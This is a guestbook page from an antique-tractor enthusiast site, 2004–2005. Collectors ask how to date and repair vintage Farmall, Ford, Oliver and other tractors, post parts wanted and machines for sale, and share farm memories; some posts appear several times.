liam neal wrote on Monday, January 24, 2005 (PST):I have aquired a grey fergie tractor which i have been told has a field marshall seat on it , can anyone tell me the best place to get an idea on a price to sell it or the best place to sell please e mail with any ideas thanks
Robert wrote on Monday, January 24, 2005 (PST):I found a picture of a MM UDLX at this site www.minneapolis-moline.com/tturner/IMAGES/MM_Udlx.gif The picture quality is not that well, but it gives a better look at what the tractor looked like.
Rod Machiela wrote on Sunday, January 23, 2005 (PST):Does anyone know where this picture was taken
Ben Janusey wrote on Sunday, January 23, 2005 (PST):I am desperately searching for a clean original oliver superr 88 if anyone knows about a sweet tractor please let me know immediately i am willing spend alot of money for a good straight rustfree tractor thanks Ben Janusey call me at (724) 941-7424 or on my cell at (412) 997-5722 i will pay a finders fee
Karl Lord wrote on Sunday, January 23, 2005 (PST):I have recently purchased a series 3 field marshall s/n 12272. This tractor has spent all its working life in canada before being reimported back to england. If anybody knows any history about this tractor i would be pleased to hear.
RONNIE STOUT wrote on Sunday, January 23, 2005 (PST):I want to buy your model A or B IM in the TEXAS hill country and ILL haul it myself ,all tractors considered from mint to junk........thanks please e mail me and tell me about your tractor and leave your phone # and ILL get back to you,thanks again.
RONNIE STOUT wrote on Sunday, January 23, 2005 (PST):wanted oliver tractor call 830-3246520,TEXAS huill country
Dwight wrote on Saturday, January 22, 2005 (PST):I am looking for a 300 or 350 International Utility with a front end loader. Needs to be good running order. Cosmetics unimportant. I'm located in western dakota. Any help appreciated.
Mitch wrote on Saturday, January 22, 2005 (PST):I know were their is a I-9 sitting along side the road I asked the owner if she would sell it and she said $500. Is he tractor worth that price? one thing about it is it has a cab, as far as I know you could not get a cab for them, so I wondered if it could be home made but it looks almost to good to be home made. Please tell me what you know about it. Thanks!!!
Stacy Porch wrote on Saturday, January 22, 2005 (PST):Looking to buy a McCormick 22-36 tractor. I am located in cental Illinois. Would like to have the tractor on rubber.
steven clark wrote on Friday, January 21, 2005 (PST):I have my grandfathers farmall h tracter serial#fbh361274xl looking for what year built,and month. and history of this model.
Robert Johnston wrote on Thursday, January 20, 2005 (PST):1-20-05 Buying first tractor, Looking at a 40,s farmall B. Runs very well, no smoke, Fair paint, good tin. 70/75% rubber. Seems to be over all good shape, with mower. $1800. Is this a fair price?
563 7732789 wrote on Thursday, January 20, 2005 (PST):please call with price on d17 thank you
Ricky J Jankowski wrote on Tuesday, January 18, 2005 (PST):Have a AC 160 my grandfather purchased new in 1970. Ran fine till last fall started blowing motor oil out of engine dip stick tube its a perkins diesel. Is this a blown head gasket? Thank You!
Johnny Broome wrote on Tuesday, January 18, 2005 (PST): I have g-153 industrial engine for sale has new pistons, liners, crank kit head recond. out of fork lift, never started. I understand it will fit a d-14 and 15 stlye tractor with bellhousing adaptor asking 1,000.00. Mooresville, n.c. telephone-704-507-2017
Johnny Broome wrote on Tuesday, January 18, 2005 (PST):I have a 1950 model w.d. for sale all orginal needs to be restored asking 2,000.00 for it, also 1945 w.c all orginal great to restore 1,500.00. 1939 R.C. has been restored asking 8,500.00 moooresville n.c. 704-507-2017 thanks, johnny B.
Ray Gilmore wrote on Tuesday, January 18, 2005 (PST):My GP is one of the last builds as it is the army green colour with red steel wheels, the same paint as my `37 Pacemaker. Mine is one of a few built with a Massey Harris engine, the only tractor engine that Massey ever put their name on. (as far as I know)
LouderbackFarms wrote on Tuesday, January 18, 2005 (PST):I am looking to buy a 9N Ford "aluminum hood" complete tractor or just the hood. Yes, I know, I'm not asking for much. But, there's one way to find one and that's to ask for it. So, if there is anyone out there that has one for sale or know of anyone who might have one for sale, I am wanting to buy one to restore or if the price is livable one that is restored. Please help me out! This is a project for my Dad. louderbackfarms at yahoo.com
Ron wrote on Monday, January 17, 2005 (PST):Curious just what oil the manufacture suggests running in the ford 2n lift. I have changed it a couple of times just to make sure it stays clear and water free but always just use whatever "tractor hydraulics" wal-mart has at the time. Like -TSLOPPYJR- sometimes I think it lifts faster than others depending on the oil. Thanks
David Lewis wrote on Monday, January 17, 2005 (PST):I grew up with Dextas and Majors in England. Now live in the US (Cincinnati) and am desperate to buy a Major or Dexta. Do you know anyone interested in selling? Thank you, David
Clarence Davis wrote on Monday, January 17, 2005 (PST):Dad bought his sons a M-H 81 after the war. The engine was black as is the one I own now. Great little tractor and FAST. We used it for everything around the farm and I used it for going to visit my friends before I was old enough for a drivers licence
George Touchette wrote on Sunday, January 16, 2005 (PST):I am interested in selling a D17 series IV with blade and brush hog if anyone is interested please email me
Jack McIntosh wrote on Sunday, January 16, 2005 (PST):I have a 1961 fordson supermajor. I found it setting in a barn with 820 hours on it and the cam and crank were both broke. I have since gone through the engine complete new paint and this last year had to replace all "0" rings and seals in the hydraulic system. I also have the original operating hand book when you buy the tractor!! I also have a repair manual so e-mail me if I can help with anything !! I sold my farm so I just play with the supermajor!! It is fun and will haul a load or pull anything!! I ran one with a backhoe on it back in the 60's this is the first one I've ran-a-cross since then. Having fun in Michigan.
William Rogers wrote on Sunday, January 16, 2005 (PST):I am looking for a set of front wheel weights for 1955 TO-35 Ferguson tractor. If anyone can give me any info on this, it would be greatly appreciated. Thanks
tedthestick wrote on Saturday, January 15, 2005 (PST):I have a super a. My job is failure analysis. Imagine a 1953 model with maybe 300 hours on it ,always shedded and only driven by a little old lady. The only parts of this tractor that are not original are the paint, tires and sparkplugs/filters/fluids. It not only has the metal Id tag below the seat, it also has the paper patent tag.It starts and runs better than my new fuel injected truck.It shows no wear on any bearing surface,be it gear,wheel or steering.They dont build them like this anymore.I love this tractor.
Ron Bates wrote on Friday, January 14, 2005 (PST):Have a 1950 series 3 with original back tires in mint condition was used in Strathmore in Alberta. a tractor driven with pride e-mail rsbates at telus.net
Jim Underwood..... M and J Farm wrote on Friday, January 14, 2005 (PST):T.O.20...oil filter is in oil pan ..T.O. 30 filter is on side of engine...I need grille for 20..i restore and repair all makes of early model tractors..Call or e mail . I buy and sell used parts
Tom Rohrich wrote on Friday, January 14, 2005 (PST):We have a G 1000 with front wheel assist. It has a cab but it is not on it. Also have a Vista 1000. We farmed exclusively with the "Mighty Mo's". No longer farming but have kept the tractors. Also have a G950, 1355, U302, G, Z, U, 1050, & propane A4T1600 with 800 cid engine. We bought the 950 & 1355 new.
Kemp Baier wrote on Friday, January 14, 2005 (PST):I have HG-42 1944 model.Her. motor gone when I got. AC, C motor was in it,but is war-out/hole in blk.WOULD LIKE TO PURCHASE HERC.4 cly. good runner or rebuilder. Reasonable priced.
Julian braun wrote on Thursday, January 13, 2005 (PST):I would like to know what year of Farmall A tractor I have. The serial number plate is missing. I would like to know what year or if its a Super A. Its got a single post shock absorber seat. A latch style engine cover instead of the normal common head screw latch. I would like to restore this tractor so if anybody knows any information please email me. Thanks, Julian
Steve Herron wrote on Thursday, January 13, 2005 (PST):I’ve just bought a 1952 Rowcrop 66 w/ wide front end (gasoline) and the wiring loom has been cut in several places including between the dash and the hydra-lectric unit. The three-point lift has a single cylinder yo the right of the floorboard, and appears to function properly (lifts up & down w/ lever in front of seat) . There doesn’t appear to be any other hydraulics anywhere else on the tractor. Can you tell me what “hydra-lectric” is? I also need to find a wiring diagram for this tractor. I was told it is part of the original 1400 page manual, but I can’t afford the 139.00 price tag. Any ideas?
Wardell Schoff wrote on Wednesday, January 12, 2005 (PST):I have used moline tractors for 50 yrs,most were LPs.In 69 bought a new Vista G1000 LP,still have it.A great tractor I really enjoy working it,lot of power.Also have a G900 gas tractor for sale,nice all original SN33000300
Wardell Schoff wrote on Wednesday, January 12, 2005 (PST):I have used moline tractors for 50 yrs,most were LPs.In 69 bought a new Vista G1000 LP,still have it.A great tractor I really enjoy working it,lot of power.Also have a G900 gas tractor for sale,nice all original SN33000300
jim bruce wrote on Wednesday, January 12, 2005 (PST):we had a rumely do all with the 4 cyl waukesha engine. also had a rumely pull type combine withhe same engine. the rear wheels could be moved forward causing the jack gears to raise the tractor so you could cultivate corn. a long tail was added with a castor wheeel on th rear. this wheel locked when driving straight and was unlocked to turn around using the brakes. the steering was then hooked to the drive wheels so they could be turned just a little, keeping the tractor on the row. the seat, steering wheel, clutch, gearshift, and brakes were extended back to the castor wheel so you sat at the front of the castor wheel, astraddle the extension. the cultivator had two foot pedals to shift the cultivator sideways if you got off the row a little. you really took a ride sitting over that tail wheel when you turned around at the end of the row. i saw the hired man turn around in a shallow ditch and it came around so fast he could'nt get his foot off the brake sso kept going round and round. each time the small castor wheel went down in the ditch it would almost throw him off. i was a lilttle boy and thought it was really funny, but it could have been serious.
Ed wrote on Wednesday, January 12, 2005 (PST):I have had the same problems with my 9N. These are very simple machines, but still need fuel (gas) and spark. The points and or coil can be the cause. It can also be that the gas is not getting to the carb. There should be a screen filter in the sediment bowl on the gas tank. It could be dirty or have too much water in the bowl. The next step is the carb. I had a lot of problems with rust in the carb. After cleaning the carb I started putting 2 cycle oil in the gas at 75 to 1 ratio. No more fuel problems. As a side note I have the same plugs in for 20 years. I have checked them and they are still OK.
Richard Polak wrote on Wednesday, January 12, 2005 (PST):I have an un-restored 1959 Farmall Cub that appears to be completely original. This tractor is in running condition and has a belly mower. Asking $1800.00
Alan wrote on Tuesday, January 11, 2005 (PST):I am looking at purchasing a Select-O-Matic. I do not know the year model and don't know how to tell. Is there a difference between a SOS and Select-O-Matic? Where can I get a Shop Manual for the tractor and transmission? Also Decal Set?
Rich Linens wrote on Monday, January 10, 2005 (PST):I think my tractor (AC model B) is a 1941. How can I be sure? Do 41's come with rubber wheels?
Laura Watson, P.E. wrote on Monday, January 10, 2005 (PST):Does anyone have a MH Pony or a Pacer for sale, in fair to good condition. VERY INTERESTED in purchasing working, small size antique tractor and implements.
Will wrote on Monday, January 10, 2005 (PST):Am looking for a Cub to purchase, preferably with as many attachments as I can get. I would like to find one to rebuild. We're in So. Ariz.. Thanks. Will & Fran
Matt wrote on Sunday, January 09, 2005 (PST):What kind of alternator should i get for my WD 45? Just bought it and want to switch it over to 12 volt. What will i need to mount it to the tractor? Thanks
Alan Eden wrote on Sunday, January 09, 2005 (PST):My husband has a 1946-2N or 8N Ford Tractor, having problems with starting the tractor. He changed the spark plugs and started the tractor, it ran for approximately 10 minutes pushed the clutch in and pulled up on the PTO lever and the tractor died and it won't start again. Apparently it has ruined the plugs again. What might be causing the problem. Has had the tractor for two years and has used it very little. Can't keep it running. Please help if any advise. Thanks edenshollow at aol.com
jimmy carter wrote on Sunday, January 09, 2005 (PST):I have G1000 in onterio needs to be in cottondale, fl. I need someone to to haul it. 8502585864cell.I think this tractor is awsome!!!
Don Flessner wrote on Saturday, January 08, 2005 (PST):I have a 1929 McCormick Deering 22-36 tractor and it has F&H round spoke wheels and I have a extra set of side curtains if anyone would be interested. Will consider cash or trade.
michael mershon wrote on Saturday, January 08, 2005 (PST):I have been restoring a 1957 super 99 GM for several yaers now. It was in a barn that burnt down and was in very bad shape. fired it up last week end, had not run in 25 years but with new injectors it ran like it had never sat at all. My fenders and hood were destroyed by heat and fire. the heat warp is to major to repair. can anyone help me in finding a set of rear fenders, hood, steering wheel, tachometer. even if they are junk I would still be interested in seeing photo's and maybe I would have something to at least work with. Call between 10am and noon any week day or anythime weekends. (765) 498-4011
Allen Adams wrote on Saturday, January 08, 2005 (PST):I bought a 52' Cub and it sounds like the gears are all dry inside when it drives. Is that normal? The guy I bought it from still used it for mowing, and said it was good to go. I just don't know what a tractor is supposed to sound like. (sounds like dry gears in transmission or rear axel to me?)
JohnJohnston wrote on Friday, January 07, 2005 (PST):I have a 1922 10/20 Im looking for any tractor pre rubber tires.Must be complete and operating. Also parts tractor for 1922 above. It has all its parts,im just looking for extras John
Rick wrote on Friday, January 07, 2005 (PST):Does any one have a set of arps tracks for sale. I would like a pair for my 861. Please email me if you have a set for sale. Please state price and your location. Thank You
Victor R. Harris wrote on Friday, January 07, 2005 (PST):My dad (78) and myself (53) are rebuilding our old 1937 Z we used on the farm in Oklahoma until 1967. The Z had set in a field until we started the restore 1 year ago. My dad Walt Harris worked for Moline in the OKC warehouse from 1946 until 1962 when they closed the OKC branch. We have the totally rebuilt the engine, drive train, PIO etc. and will be ready to start the tractor as soon has we get the Magneto rebuilt and overhaul the oil pump. Wish us luck, this old tractor means a lot to us. I still remember starting it when I was 10 (which was not easy with a hand crank) and started down the dirt road in front of our farm. My dad caught me and did not get mad, in fact he was proud a skinny boy could start it.
Dean wrote on Friday, January 07, 2005 (PST):I am looking for close up pictures of the governor linkage on both sides of a WD. I am trying to install my linkage back on. Can some one send me some pics of their WD for reference? Thank!
Jim Broughton wrote on Thursday, January 06, 2005 (PST): Carl; Most likely the "tube" that runs from your oil pump to the presure gauge is stopped up...fairly common on Cubs. You'll have to remove the pan, clean up the pump and "rod-out" that tube..after sitting so long, the old oil "coagulates" and stops up that tube. Aftercleaning and rodding, replace pan gaskets,pan and put in fresh oil..she is probably alright.(Wouldn't hurt to check bearings down there while you have the pan off). Lotsa luck, Jim
Curt Zielke wrote on Thursday, January 06, 2005 (PST):I just purchased a 300 international utility tractor and would like to know what size plow it would be able to pull through sod. It does have a TA but I'm not sure if it works. Also, does anyone out there know what color these are supposed to be. I think its orange with white rims and a white grill. Any information I can get will be greatly appreciated. Thanks.
Thomas Otley wrote on Thursday, January 06, 2005 (PST):My Fiancee's father left him his tractor which he grew up on and always was told it was an 8N we got to looking at the serial number and it reads *9N195560*, assuming now that it is a 9N...we dont know the exact year, can you help us determine its age? Also we have found parts on it that seem to say it is an 8N instead. Would appreciate your helpas he is wanting to restore it to its original shape. Thanks
paul l wrote on Thursday, January 06, 2005 (PST):my father has a 1942-9n must have been army time special,it's on steel wheels,front and back,hand crank only,magneto,no lights,no battery,is or was running looking to sell to someone for restoration,not resale send info to paull at rgmazergroup.ca
nick kramer wrote on Thursday, January 06, 2005 (PST):I'm looking for a D-21 to make into a pulling tractor. Can anyone help me find one? It can be in any kind of condition. thanks
Tim Kicker wrote on Tuesday, January 04, 2005 (PST):Is the wd45 enough tractor to operate a new holland small square baler- nh274 I think?
Aisha Rodgers wrote on Tuesday, January 04, 2005 (PST):looking to buy a field Marshall series 1, 3 or a model M from anywhere in the world. If anyone has any information on where I can find one please get in contact with me. Thanks
Joe Wiesen wrote on Tuesday, January 04, 2005 (PST):I recently aquired a 52-53? Coop E5, Cockshutt, with a 6DA-273 diesel. Its a complete tractor in good condition. I am looking for a buyer, make an offer, I can send pics.
Carey Grzadzinski wrote on Tuesday, January 04, 2005 (PST):I have a Allis Chalmers tractor. I bought it about 10 years ago and it worked great. A "friend" boroughed it and left it set in the field for about 6 years. I want to restore it but not sure exactly what model it is. There are many numbers on it. Engine-WP 281897-GA, frame rails 260870, by shifter I-LC-NP, case 200931, brake cover left AM 3834-7. Can anyone tell me year and model?
Dylan Smith wrote on Monday, January 03, 2005 (PST):I own a 1951 M it has an aftermarket wide front and power - steering.It runs very well...after you get it warmed up a-nyway.Ms are the best tractors I'v ever seen.
Doss Estep wrote on Monday, January 03, 2005 (PST):I need to hear from some Oliver experts. I have a 1946 Oliver 70. I have it running great but now have a streering problem. The steering is very loose in the streering box. It appears this is not a replacable part. I have tried to tighten the large screw but to no avail. What next?
Nash Summers wrote on Monday, January 03, 2005 (PST):I'm looking for a WD45 Diesel. If anyone knows where I might be able to find one please let me know. I want one to restore. I have restored two WD's, 185 Diesel w/ Year-A-Round cab and a 190 XT Diesel. Thanks for your help.
Aaron Patterson wrote on Monday, January 03, 2005 (PST):I am looking to purchase a 770 oliver diesel for restoration. Does any one know where I might find one? I live in Pennsylvania and will travel within reason to pick one up. please contact me at alhpatterson3 at wmconnect.com Thank you Aaron
John Hein wrote on Monday, January 03, 2005 (PST):I just got a pricsion 830 toy for a gift. It is the black dash model. What year was the back dash made, and what made them more desirable as a collector tractor. I also have a full size 830 but not a black dash. The serial number is 8302994. I owuld like to find and talk to people who have one near this number.
larry veno wrote on Monday, January 03, 2005 (PST):have 1949vac case looking for bush hog,sickle bar mower and cultivators camp hill pa.
Ross Cain wrote on Monday, January 03, 2005 (PST):I own a model z.t.e. Serial Number 588642E. Can anyone date this tractor for me. Thankyou very much. Ross,,
Garth wrote on Sunday, January 02, 2005 (PST):Hi, I own and restored a 1950 Farmall H at the age of 12. I recieved this as a birthday present. Last winter I restored it (with help from my dad on the hard bolts and such). I am now very proud of my work.This tractor has all the fixings from a belt pulley, toolbox, electric start,and a custom PTO cover with my name on it.I want a precleaner but I can not find one.Can someone help me. Now my dad and I are now working on a Farmall M, but we need a little help getting the motor and pistons unstuck. We have used deisel fuel, but unfortunaly that has not worked. If anyone has any suggestions I will be willing to try them.
Garth wrote on Sunday, January 02, 2005 (PST):Hi, I love Farmall tractors including the H and M. I have restored a Farmall H at the age of 12. My H has all the fixings. I have a belt pulley,electric start, custom PTO cover with my name on it.Now the H is all done but I want a precleaner really bad. I need help finding one.Now my father and I are restoring the M. I love the power of this tractor. We need help getting the pistons unstuck. We tried Deisel fuel, but that did not work.I want suggestions.
larry washburn wrote on Sunday, January 02, 2005 (PST):I have just purchased a 1941 LA with a one bottem plow and a 6 prong cultivator, but do not know how this attaches to the tractor., between wheels or from the back. anyone have one? Larry
Benjie wrote on Sunday, January 02, 2005 (PST):I have purchased a trip loader off an 8N to put on my 9N. It is foot operated and draws fluid fron the internal hydraulics. My question is where do the hose/hoses connect on the 9N tractor? Thanks!
kevin trachte wrote on Sunday, January 02, 2005 (PST):One of the first pictures they have of me as a kid is on theseat of a Cockshutt 40. It's been rebuilt once in the fifty plus years we've had it. We do a lot of round baling, and it's never missed a season.
larry hall wrote on Saturday, January 01, 2005 (PST):Hi, I have acquired a Ford 8N tractor that has been parked for 30 plus years. Two questions; 1. Should I spray WD 40 (or some other lubricant) in each cylinder before I attempt to start it? 2. How do you "open" or remove the "hood"? Any tips for starting it will be helpful. Larry Leesville, South Carolina
Kevin Lippert wrote on Saturday, January 01, 2005 (PST):I have a industrial 1950 mfwa made in 1970. 1300 hrs. it was a county tractor. its for sale. asking $8200 or best offer.
Lew Munger wrote on Friday, December 31, 2004 (PST):My father had a 1948 8n with a set of half tracks for it. This tractor was almost impossible to get stuck and when you did it was almost impossible to get it removed. He would this to do spring plowing, cleaning the barn yard out in the winter and most of all snow removal. I was glad to see this picture due the fact that no one I know has ever head of or seen half tracks for a tractor.
Ross Cain wrote on Friday, December 31, 2004 (PST):Dave Pringle saw two Samsons at the Kirwee Rally one of these is mine, an S25 serial number 2783 engine number 8150. I have owned this tractor since 1969and was restored in 1992 for the J.I.Case 150 year rally held near Christ church N. Z. Regards Ross,,
Ken McChesney wrote on Thursday, December 30, 2004 (PST):I have a 1955 Oliver super 77 diesel i am restoring, i was raised on this tractor and bought it from my dad. I need the Oliver Emblem that goes on the front. I bought a decal kit BUT this emblem was not in the kit. where can i find this emblem ?? also need tool box cover. I will be pulling this tractor this coming season and plan on kick'n some red tractor BUTT. What is the max RPM i can turn with this engine ?? Thanks Ken
Tom Smith wrote on Thursday, December 30, 2004 (PST):I'm interested in restoring a Case L. I would like to locate a publication that presents Case tractor models and specifications. Does any book exist with this information? Thanks and have a happy new year, Tom
Eugene O'Sullivan wrote on Thursday, December 30, 2004 (PST):Dear Sir I would be very grateful if you would give me any information on doing the Engine Timing on my Ford 3600 Tractor(year 1977). I am a fitter by trade myself so i will have no problem with the doing of it, It is just that this is my first time doing such a job on my tfactor. Iwish you a happy New Year and thank you in advance for your help. Yours sincerely Eugene O'Sullivan
Eugene O'Sullivan wrote on Thursday, December 30, 2004 (PST):Dear Sir I would be very grateful if you would give me any information on doing the Engine Timing on my Ford 3600 Tractor(year 1977). I am a fitter by trade myself so i will have no problem with the doing of it, It is just that this is my first time doing such a job on my tfactor. Iwish you a happy New Year and thank you in advance for your help. Yours sincerely Eugene O'Sullivan
David Flaherty wrote on Wednesday, December 29, 2004 (PST):Have a small shed on a recently purchased farm site which we where told at one time had been from an old tractor. They thought it was a Rumley but not certain. Can anyone tell me where any type of confermation or identifying markings may be? Roof has shaped arch with metal over wood shingles.
David wrote on Tuesday, December 28, 2004 (PST):My name is David Harvey,my dad just bought a 1958 power king tractor.he is needing some info or some pictures /parts. If anyone has some info please let us know . thanks David harvey
Rex Thompson wrote on Tuesday, December 28, 2004 (PST):I owned a 1959 Farmall 140. My dad bought it new. I am looking for the 140 emblems that is on the front sides of the tractor. I think they call them tins. I have one and the other one is planted in the fields on the farm. I would like to restore it as it was the day it came new to our farm. Anyone have any ideas where I might be able to find the 140 emblems tins?
Mickey Eaton wrote on Monday, December 27, 2004 (PST):I have a 1940 Oliver 70 I am restoring. Can you tell me if the dash light has a hood across the bulb or was it just stright?
Tom Windsor wrote on Sunday, December 26, 2004 (PST):Put a date on the farmall; The casting codes can be used to determine the year of manufacture. These codes are located on virtually every part of the tractor that is made of cast iron. The code will look something like this --6*14*J, 6 being the month, 14 the day, and J the year. Here is a complete breakdown, giving the letter, and the year it represents. I=39 J=40 K=41 L=42 M=43 N=44 O=45 P=46 Q=47 R=48 S=49 T=50 W=51 X=52 Y=53 Z=54
M.Tomas wrote on Sunday, December 26, 2004 (PST):I have a Ford 501 workmaster offset tractor for sale. It is in excellent working condition and the body is in excellent shape as well with original paint. If you know anyone interested in same please email me.
james w moore wrote on Friday, December 24, 2004 (PST):I have a 460D 560D 660D, 560 has a 301D engine that has a 100 hp I know of a couple of 560's for sale. Call me if you have any questions about any of these about tractors.(704)422-3755 after 10;00 p.m. (I might be out driving my 560)I love it!
Royce Carter - Lanesville, IN wrote on Thursday, December 23, 2004 (PST):My Dad bought a 1950 Model "A" Avery similar to the one pictured in 1950. I used the tractor as a young farmer growing up in Tennessee, and we sold it when my Dad died in 1982. I moved to Indiana in the late 60's and a few years ago became very interested in trying to find my Dad's old Avery. Luckily, I found it was bought by one of the neighbors in Tennessee, and still in fairly good condition, but short of TLC. The owner sold it to me and I have now repainted the tractor but still need help finding sources for parts, gaskets, etc. I have the original manual with all part #'s etc. Any and all suggestions as to where to find parts would be gratefully appreciated.
Royce Carter - Lanesville, IN wrote on Thursday, December 23, 2004 (PST):My Dad bought a 1950 Model "A" Avery similar to the one pictured in 1950. I used the tractor as a young farmer growing up in Tennessee, and we sold it when my Dad died in 1982. I moved to Indiana in the late 60's and a few years ago became very interested in trying to find my Dad's old Avery. Luckily, I found it was bought by one of the neighbors in Tennessee, and still in fairly good condition, but short of TLC. The owner sold it to me and I have now repainted the tractor but still need help finding sources for parts, gaskets, etc. I have the original manual with all part #'s etc. Any and all suggestions as to where to find parts would be gratefully appreciated.
Royce Carter - Lanesville, IN wrote on Thursday, December 23, 2004 (PST):My Dad bought a 1950 Model "A" Avery similar to the one pictured in 1950. I used the tractor as a young farmer growing up in Tennessee, and we sold it when my Dad died in 1982. I moved to Indiana in the late 60's and a few years ago became very interested in trying to find my Dad's old Avery. Luckily, I found it was bought by one of the neighbors in Tennessee, and still in fairly good condition, but short of TLC. The owner sold it to me and I have now repainted the tractor but still need help finding sources for parts, gaskets, etc. I have the original manual with all part #'s etc. Any and all suggestions as to where to find parts would be gratefully appreciated.
Mark Trachy wrote on Wednesday, December 22, 2004 (PST):Purchased a 1963 Oliver built Cockshutt 550 gas recently. It hadn't been started for over 2 years. After an oil change and a couple of electrical problems, it runs great. I hope to start dooing a proper restore next year. In the meantime, it does and excellent job of blowing snow and other odd jobs around the yard. MT
Chuck Moulton wrote on Tuesday, December 21, 2004 (PST):I have a J.D. model MT, I think it is a 1950. Has been repainted and the motor is supposed to have been rebilt.the tires are origonal,cracked but hold air well. Have a problem with the carb, or govener,I think. I need to sell this tractor, I have a set of twins due in May of 2005 and I need the money. I`m asking $3000.00 or ANY resonable offer. I live near London, Ontario, Canada. phone # 519-425-4414, Ihave pictures That I can e-mail to anyone interested
Paul Szikszai wrote on Tuesday, December 21, 2004 (PST):Can anyone give me specs on a Ford 2000 industrial, power steering, 3pt gas tractor, serial #140936 heavy duty ford all hydraulic materials bucket, front end loader. Above description is from an auction ad. How many cylinders? what year? Live pto? 3 point hitch? How many speed fwd and reverse? Can both rear wheels be locked to turn at the same time? What ever info I can get would be appreciated.
woody wrote on Monday, December 20, 2004 (PST):just bought 54 super c off this farmer that was 80 years old and has had it since 1964 with wide front end great shape sheet metal and mint fenders runs like new new bought it for 3500 first tractor i ever owned and am now looking to buy a wd 45 ac that is in really great shape sitting in a barn guy said i could have it for700
C.B.Kron wrote on Sunday, December 19, 2004 (PST):I have a Farmall A which has a seat with one large, central coil spring instead of the more familiar seat. I can't find a serial number in the normal location. Can someone tell me more about it and the year of manufacture?
harlan wrote on Sunday, December 19, 2004 (PST):I have a mh55 not sure of year yet but will part with it for a reasonable offer (still running). Also have a jd820 1957 (all original but needs work) that is for sale make offer. Tractors are located in Louisiana
Hank wrote on Sunday, December 19, 2004 (PST):Looking to purchase a completely restored 1938 or 39 AC Model B Please contact me at the above email address. Thank you!
Terry wrote on Saturday, December 18, 2004 (PST):I just found out that my great grandfather sold The Yuba Ball Tread Tractor. He was th exclusive (Jonach Brothers) agent in Nemaha County , Kansas. Sold Model 18 for $3,000 and Model 12 for $2,250. He used it to farm about 400 acres. This is all I Know about this tractor.
D. Kinman wrote on Saturday, December 18, 2004 (PST):My brother and I are using an international power unit to pull an antique sawmill. It is the same engine that was in a 15-30 tractor. Does anyone know of any available parts?
Jim Broughton wrote on Friday, December 17, 2004 (PST): Lowell; Your Cub is a late 1948 model. Lotsa luck with it..they are great little tractors !! Jim
Dennis Walker wrote on Thursday, December 16, 2004 (PST):My name is Dennis Walker Iam from Campbell River B.C. Canada . The people that had my tractor before me took it apart and lost the four rockers and bushings that go with them. So Iam in dire strates for a set of these.The tractor is a 1927 modle L Rumley oil pull,the rest of the tractor is there and in real nice shape. So if any one reading this can help with any leads or parts I would realy appreicate this. My phone is Nites and weekends area code 250 923 2865 or e mail at the above email address. thank you very much.
Tan wrote on Thursday, December 16, 2004 (PST):I just bought a cub for $1000.It came with a sicle mower,original color still on it.And a set of cultivators. the tractor is in good shape. I think I got a good deal.
lee marquette wrote on Thursday, December 16, 2004 (PST):I have three fordson majors and they all run very good. I am always looking for parts of any type or whole tractors that either run or are not running. If you have any old fordsons sitting around I would be interested in them if you are looking to get rid of them. Also have lots of information on fordson tractors serial numbers what years and alot of other stuff so email me if you have something you want to know or sell Thank you for your time Lee. I use my tractors daily on my farm up in Washington state.
Tom Miller wrote on Thursday, December 16, 2004 (PST):I bought a Case SC tractor at The Empire Fam Days in 2002,it ran like junk for 5 or 10 minutes, then it would not fire at all. Finally we found someone who knew he could fix it,after alot of hours of hard work it now runs great. What a workhorse it is now.
James wrote on Thursday, December 16, 2004 (PST):I have a 1942 Farmall H 9-speed tractor. Can anyone tell me how many were made and where I can get info on them?
Bob Davis wrote on Thursday, December 16, 2004 (PST):I have VAO#5557653 it runs & plan to work fields w/it. Question;what kind of lubricant for trans and hydraulic system? Also, where could I obtain a hood....orig. hood about beyond repair (it was rolled sometime back in history)
Bob wrote on Tuesday, December 14, 2004 (PST):Looking for a Allis Chalmers D-12 Series IorII Would be willing to pay top price for the right tractor.
D.B. McCann wrote on Tuesday, December 14, 2004 (PST):I own one off these old tractors it runs like a top ,will crank b-4 you get to it,it stars so easy.But I need a tire and wheel if anyone knows where there is one ava,without getting high-jacked 10 x 34 thanks .
gene schulte wrote on Monday, December 13, 2004 (PST):I have 2 HD7 Dozers, looking for track & suspension parts Would consider selling 1 or both.Both are running but need TLC.
Lowell Ragsdale wrote on Monday, December 13, 2004 (PST):I have just purchased a Farmall Cub with Serial # 46925. could someone tell me the age of this tractor.
Jerry Wonsey wrote on Sunday, December 12, 2004 (PST):My father has oil pull tractor small model.The handle for the fly wheel is broke, we are looking for a manual or possibly handle for the fly wheel.
Paul Widmann wrote on Saturday, December 11, 2004 (PST):I'm new to the AC family, so be nice. I just found the cutest WD 45 (gas). How much are these worth? I have not found a ser# tag yet, can someone tell me where that might be? The metal is almost perfect, it has a tricycle front end. Any help on this would be great. Thanks Paul
Larry Muirhed wrote on Saturday, December 11, 2004 (PST):I have a tractor trying to find a rim unsure of make &model of it by loking at some pics looks like IH 300 series con some one tell me where tofind a seril or model number Thank you Larry Muirhead
Willow wrote on Saturday, December 11, 2004 (PST): Can you please advise me on the price and availability of parts, service and operators manuals for a Oliver Cletrac DD serial Number 1L6076.Or if anyone has a copy Willow
James Coombs wrote on Thursday, December 09, 2004 (PST):Caleb Im thinking you would find a single wheel on a BN more often as it was designed to cultivate two rows at a narower spacing ,one tire giving more clearence between folage .
James Coombs wrote on Thursday, December 09, 2004 (PST):Caleb Im thinking you would find a single wheel on a BN more often as it was designed to cultivate two rows at a narower spacing ,one tire giving more clearence between folage .
James Coombs wrote on Thursday, December 09, 2004 (PST):Caleb Im thinking you would find a single wheel on a BN more often as it was designed to cultivate two rows at a narower spacing ,one tire giving more clearence between folage .
James Coombs wrote on Thursday, December 09, 2004 (PST):Caleb Im thinking you would find a single wheel on a BN more often as it was designed to cultivate two rows at a narower spacing ,one tire giving more clearence between folage .
James Coombs wrote on Thursday, December 09, 2004 (PST):Caleb Im thinking you would find a single wheel on a BN more often as it was designed to cultivate two rows at a narower spacing ,one tire giving more clearence between folage .
James Coombs wrote on Thursday, December 09, 2004 (PST):Caleb Im thinking you would find a single wheel on a BN more often as it was designed to cultivate two rows at a narower spacing ,one tire giving more clearence between folage .
James Coombs wrote on Thursday, December 09, 2004 (PST):Caleb Im thinking you would find a single wheel on a BN more often as it was designed to cultivate two rows at a narower spacing ,one tire giving more clearence between folage .
James Coombs wrote on Thursday, December 09, 2004 (PST):Caleb Im thinking you would find a single wheel on a BN more often as it was designed to cultivate two rows at a narower spacing ,one tire giving more clearence between folage .
James Coombs wrote on Thursday, December 09, 2004 (PST):Caleb Im thinking you would find a single wheel on a BN more often as it was designed to cultivate two rows at a narower spacing ,one tire giving more clearence between folage .
